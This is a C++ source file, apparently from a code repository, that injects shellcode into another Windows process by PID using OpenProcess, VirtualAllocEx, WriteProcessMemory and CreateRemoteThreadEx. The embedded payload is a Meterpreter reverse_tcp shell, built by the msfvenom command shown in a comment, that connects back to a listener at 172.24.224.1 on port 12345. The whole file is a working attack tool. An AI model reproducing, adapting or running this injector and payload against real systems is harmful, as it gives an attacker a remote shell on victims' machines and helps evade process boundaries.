105 lines
4.0 KiB
C++
105 lines
4.0 KiB
C++
#include <windows.h>
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#include <stdio.h>
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#define log_info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
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#define log_err(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
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#define log_ok(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
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// msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=172.24.224.1 LPORT=12345 -f c --var-name=g_shellcode
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char g_shellcode[] =
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"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
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"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
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"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48"
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"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
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"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
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"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
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"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
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"\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
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"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
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"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
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"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
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"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
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"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
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"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
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"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
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"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
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"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
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"\x89\xe5\x49\xbc\x02\x00\x30\x39\xac\x18\xe5\x06\x41\x54"
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"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
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"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
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"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
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"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
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"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
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"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
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"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
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"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
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"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
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"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
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"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
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"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
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"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
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"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
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"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
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"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
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"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
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"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
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"\xf0\xb5\xa2\x56\xff\xd5";
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int main(int argc, char **argv) {
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if (argc < 2) {
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log_err("Usage: %s <PID>", argv[0]);
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return -1;
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}
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DWORD pid = atoi(argv[1]);
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log_info("Opening process with pid %ld", pid);
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HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
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if (process == NULL) {
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log_err("Failed to open process: %ld", GetLastError());
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return -1;
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}
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log_ok("Successfully opened process handle");
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LPVOID buffer = VirtualAllocEx(process, NULL, sizeof(g_shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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if (buffer == NULL) {
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log_err("Failed to allocate %lld bytes in process: %ld", sizeof(g_shellcode), GetLastError());
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CloseHandle(process);
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return -1;
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}
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log_ok("Allocated %lld bytes in process", sizeof(g_shellcode));
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if (!WriteProcessMemory(process, buffer, g_shellcode, sizeof(g_shellcode), NULL)) {
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log_err("Failed to write bytes: %ld", GetLastError());
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CloseHandle(process);
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return -1;
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}
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log_ok("Wrote shellcode to allocated buffer");
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DWORD thread_id = 0;
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HANDLE thread = CreateRemoteThreadEx(
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process,
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NULL,
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0,
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(LPTHREAD_START_ROUTINE)buffer,
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NULL,
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0,
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0,
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&thread_id
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);
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if (thread == NULL) {
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log_err("Failed create remote thread: %ld", GetLastError());
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CloseHandle(process);
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return -1;
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}
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log_ok("Successfully created thread with shellcode, thread id: %ld", thread_id);
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log_info("Waiting for thread to finish...");
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WaitForSingleObject(thread, INFINITE);
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log_info("Thread finished");
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log_info("Cleaning up");
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CloseHandle(thread);
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CloseHandle(process);
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return 0;
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} |